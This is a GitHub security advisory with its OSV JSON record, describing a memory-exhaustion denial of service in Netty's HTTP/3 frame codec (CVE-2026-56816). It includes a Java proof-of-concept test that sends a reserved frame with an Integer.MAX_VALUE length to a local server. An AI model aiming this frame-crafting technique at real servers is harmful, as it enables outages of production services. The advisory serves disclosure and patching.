GHSA-HPCC-26XQ-25FV
Vulnerability from github – Published: 2026-07-22 21:42 – Updated: 2026-07-22 21:42Summary
Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.
Details
io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:
// Handling reserved frame types
// https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8
if (in.readableBytes() < payLoadLength) {
return 0;
}
The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.
This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.
PoC
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.initialMaxStreamDataBidirectionalRemote(1_000_000)
.initialMaxStreamsBidirectional(100)
.tokenHandler(InsecureQuicTokenHandler.INSTANCE)
.handler(new ChannelInitializer<QuicChannel>() {
@Override
protected void initChannel(QuicChannel ch) {
ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
ch.pipeline().addLast(new Http3ServerConnectionHandler(
new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
cause.printStackTrace();
ctx.close();
}
}));
}
})
.build();
Channel server = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(serverCodec)
.bind("127.0.0.1", 0)
.sync()
.channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
.sslContext(clientContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.build();
Channel client = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(clientCodec)
.bind(0)
.sync()
.channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client)
.handler(new Http3ClientConnectionHandler())
.remoteAddress(server.localAddress())
.localAddress(client.localAddress())
.connect()
.get();
QuicStreamChannel rawStream =
quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
// Write reserved frame type (64)
header.writeByte(0x40);
header.writeByte(0x40);
// Write payload length (Integer.MAX_VALUE)
header.writeByte(0xC0);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x7F);
header.writeByte(0xFF);
header.writeByte(0xFF);
header.writeByte(0xFF);
rawStream.write(header);
// Write the maximum allowed payload
int payloadSize = 1_000_000;
ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);
rawStream.writeAndFlush(payload).sync();
assertTrue(quicChannel.isActive());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
server.close().sync();
client.close().sync();
} finally {
group.shutdownGracefully();
}
}
Impact
Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56816"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:42:42Z",
"nvd_published_at": "2026-07-21T22:17:14Z",
"severity": "HIGH"
},
"details": "### Summary\nNetty\u0027s Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.\n\n### Details\n`io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame` handles reserved frame types as follows:\n\n```java\n // Handling reserved frame types\n // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8\n if (in.readableBytes() \u003c payLoadLength) {\n return 0;\n }\n```\n\nThe `payLoadLength` is read directly from the wire and trusted implicitly. Since `payLoadLength` can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.\n\nThis allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.\n\n### PoC\n\n```java\n @Test\n public void test() throws Exception {\n EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n try {\n X509Bundle cert = new CertificateBuilder()\n .subject(\"cn=localhost\")\n .setIsCertificateAuthority(true)\n .buildSelfSigned();\n\n QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n .sslContext(serverContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10_000_000)\n .initialMaxStreamDataBidirectionalLocal(1_000_000)\n .initialMaxStreamDataBidirectionalRemote(1_000_000)\n .initialMaxStreamsBidirectional(100)\n .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n @Override\n protected void initChannel(QuicChannel ch) {\n ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n ch.pipeline().addLast(new Http3ServerConnectionHandler(\n new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n cause.printStackTrace();\n ctx.close();\n }\n }));\n }\n })\n .build();\n\n Channel server = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(serverCodec)\n .bind(\"127.0.0.1\", 0)\n .sync()\n .channel();\n\n QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n .trustManager(InsecureTrustManagerFactory.INSTANCE)\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n .sslContext(clientContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10_000_000)\n .initialMaxStreamDataBidirectionalLocal(1_000_000)\n .build();\n\n Channel client = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(clientCodec)\n .bind(0)\n .sync()\n .channel();\n\n QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n .handler(new Http3ClientConnectionHandler())\n .remoteAddress(server.localAddress())\n .localAddress(client.localAddress())\n .connect()\n .get();\n\n QuicStreamChannel rawStream =\n quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n ByteBuf header = Unpooled.buffer();\n\n // Write reserved frame type (64)\n header.writeByte(0x40);\n header.writeByte(0x40);\n\n // Write payload length (Integer.MAX_VALUE)\n header.writeByte(0xC0);\n header.writeByte(0x00);\n header.writeByte(0x00);\n header.writeByte(0x00);\n header.writeByte(0x7F);\n header.writeByte(0xFF);\n header.writeByte(0xFF);\n header.writeByte(0xFF);\n\n rawStream.write(header);\n\n // Write the maximum allowed payload\n int payloadSize = 1_000_000;\n ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);\n rawStream.writeAndFlush(payload).sync();\n\n assertTrue(quicChannel.isActive());\n\n quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n server.close().sync();\n client.close().sync();\n } finally {\n group.shutdownGracefully();\n }\n }\n```\n\n### Impact\nDenial of Service due to gradual memory exhaustion. Any application using Netty\u0027s HTTP/3 codec is impacted.",
"id": "GHSA-hpcc-26xq-25fv",
"modified": "2026-07-22T21:42:43Z",
"published": "2026-07-22T21:42:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56816"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.